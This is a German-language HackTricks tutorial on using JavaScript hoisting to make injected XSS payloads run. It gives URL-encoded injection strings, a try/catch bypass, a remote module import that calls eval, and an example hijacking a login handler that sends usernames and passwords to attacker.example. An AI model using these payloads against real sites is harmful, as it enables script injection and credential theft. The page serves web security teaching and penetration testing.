JS Hoisting

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

In der JavaScript-Sprache wird ein Mechanismus beschrieben, der als Hoisting bekannt ist und bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports konzeptionell an den Anfang ihres Gültigkeitsbereichs verschoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript-Engine durchgeführt, die das Skript in mehreren Durchläufen verarbeitet.

Während des ersten Durchlaufs parst die Engine den Code, um auf Syntaxfehler zu prüfen, und wandelt ihn in einen abstrakten Syntaxbaum um. Diese Phase beinhaltet Hoisting, einen Prozess, bei dem bestimmte Deklarationen an den Anfang des Ausführungskontexts verschoben werden. Wenn die Parsing-Phase erfolgreich ist und keine Syntaxfehler vorliegen, wird die Skriptausführung fortgesetzt.

Es ist entscheidend zu verstehen, dass:

  1. Das Skript frei von Syntaxfehlern sein muss, damit die Ausführung stattfinden kann. Syntaxregeln müssen strikt eingehalten werden.
  2. Die Platzierung von Code innerhalb des Skripts beeinflusst die Ausführung aufgrund von Hoisting, obwohl der ausgeführte Code von seiner textuellen Darstellung abweichen kann.

Arten des Hoisting

Basierend auf den Informationen von MDN gibt es vier unterschiedliche Arten von Hoisting in JavaScript:

  1. Value Hoisting: Ermöglicht die Nutzung eines Variablenwerts innerhalb seines Gültigkeitsbereichs vor der Deklarationszeile.
  2. Declaration Hoisting: Erlaubt das Referenzieren einer Variable innerhalb ihres Gültigkeitsbereichs vor ihrer Deklaration, ohne einen ReferenceError zu verursachen, allerdings ist der Wert der Variable undefined.
  3. Dieser Typ verändert das Verhalten innerhalb seines Gültigkeitsbereichs, da die Variable vor ihrer eigentlichen Deklarationszeile deklariert wird.
  4. Die Nebenwirkungen der Deklaration treten auf, bevor der restliche Code, der sie enthält, ausgewertet wird.

Im Detail zeigen Funktionsdeklarationen das Hoisting-Verhalten vom Typ 1. Das Schlüsselwort var demonstriert Verhalten vom Typ 2. Lexikalische Deklarationen, zu denen let, const und class gehören, zeigen Verhalten vom Typ 3. Schließlich sind import-Anweisungen insofern einzigartig, als sie sowohl Typ-1- als auch Typ-4-Verhalten beim Hoisting zeigen.

Szenarien

Daher, wenn du Szenarien hast, in denen du Inject JS code after an undeclared object verwenden kannst, könntest du die Syntax fix the syntax indem du es deklarierst (so wird dein Code ausgeführt statt einen Fehler zu werfen):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Weitere Szenarien

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting, um die Ausnahmebehandlung zu umgehen

Wenn der sink in ein try { x.y(...) } catch { ... } eingeschlossen ist, wird ein ReferenceError die Ausführung stoppen, bevor dein payload ausgeführt wird. Du kannst den fehlenden identifier vorab deklarieren, sodass der call überlebt und dein injected expression zuerst ausgeführt wird:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} wird vor der Auswertung hoisted, sodass der Parser bei x.y(...) nicht mehr fehlschlägt; prompt() wird ausgeführt, bevor y aufgelöst ist, und erst danach wird ein TypeError geworfen, nachdem dein Code bereits ausgeführt wurde.

Spätere Deklarationen zuvorkommen, indem man einen Namen mit const sperrt

Wenn du ausführen kannst, bevor eine top-level function foo(){...} geparst wird, verhindert das Deklarieren einer lexikalischen Bindung mit demselben Namen (z. B. const foo = ...), dass die spätere Funktionsdeklaration diesen Bezeichner neu bindet. Dies kann in RXSS missbraucht werden, um kritische Handler zu kapern, die später auf der Seite definiert sind:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Hinweise

  • Dies beruht auf der Ausführungsreihenfolge und dem globalen (Top-Level-)Scope.
  • Wenn dein Payload innerhalb von eval() ausgeführt wird, bedenke, dass const/let innerhalb von eval block-scoped sind und keine globalen Bindings erzeugen. Füge ein neues <script>-Element mit dem Code ein, um ein echtes globales const zu etablieren.

Dynamisches import() mit benutzergesteuerten Specifiers

Serverseitig gerenderte Apps leiten manchmal Benutzereingaben in import() weiter, um Komponenten lazy zu laden. Wenn ein Loader wie import-in-the-middle vorhanden ist, werden aus dem Specifier Wrapper-Module generiert. Die vorgezogene Auswertung von import lädt und führt das vom Angreifer kontrollierte Modul aus, bevor nachfolgende Zeilen ausgeführt werden, was RCE in SSR-Kontexten ermöglicht (siehe CVE-2023-38704).

Tooling

Moderne Scanner begannen damit, explizite Hoisting-Payloads hinzuzufügen. KNOXSS v3.6.5 listet die Testfälle “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” und “Hoisting Override”; das Ausführen gegen RXSS-Kontexte, die ReferenceError/TypeError auslösen, liefert schnell hoist-basierte Gadget-Kandidaten.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks